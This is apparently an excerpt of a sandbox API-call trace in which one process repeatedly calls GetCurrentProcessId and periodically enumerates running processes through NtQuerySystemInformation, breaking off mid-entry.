[0266.454] GetCurrentProcessId () returned 0xbf4 [0267.012] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0267.041] GetCurrentProcessId () returned 0xbf4 [0267.041] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.042] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.239] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.240] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.241] GetCurrentProcessId () returned 0xbf4 [0267.242] GetCurrentProcessId () returned 0xbf4 [0267.242] GetCurrentProcessId () returned 0xbf4 [0267.242] GetCurrentProcessId () returned 0xbf4 [0267.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0267.822] GetCurrentProcessId () returned 0xbf4 [0267.822] GetCurrentProcessId () returned 0xbf4 [0267.822] GetCurrentProcessId () returned 0xbf4 [0267.822] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.823] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.824] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.825] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0267.826] GetCurrentProcessId () returned 0xbf4 [0268.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.374] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.375] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.376] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.377] GetCurrentProcessId () returned 0xbf4 [0268.378] GetCurrentProcessId () returned 0xbf4 [0268.378] GetCurrentProcessId () returned 0xbf4 [0268.378] GetCurrentProcessId () returned 0xbf4 [0268.378] GetCurrentProcessId () returned 0xbf4 [0268.378] GetCurrentProcessId () returned 0xbf4 [0268.378] GetCurrentProcessId () returned 0xbf4 [0268.378] GetCurrentProcessId () returned 0xbf4 [0268.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0268.908] GetCurrentProcessId () returned 0xbf4 [0268.908] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.909] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.910] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.911] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0268.912] GetCurrentProcessId () returned 0xbf4 [0269.864] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c950) returned 0x0 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.873] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.874] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.875] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.876] GetCurrentProcessId () returned 0xbf4 [0269.877] GetCurrentProcessId () returned 0xbf4 [0269.877] GetCurrentProcessId () returned 0xbf4 [0269.877] GetCurrentProcessId () returned 0xbf4 [0269.877] GetCurrentProcessId () returned 0xbf4 [0269.877] GetCurrentProcessId () returned 0xbf4 [0269.877] GetCurrentProcessId () returned 0xbf4 [0269.877] GetCurrentProcessId () returned 0xbf4 [0269.877] GetCurrentProcessId () returned 0xbf4 [0269.877] GetCurrentProcessId () returned 0xbf4 [0270.379] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c950) returned 0x0 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.386] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] 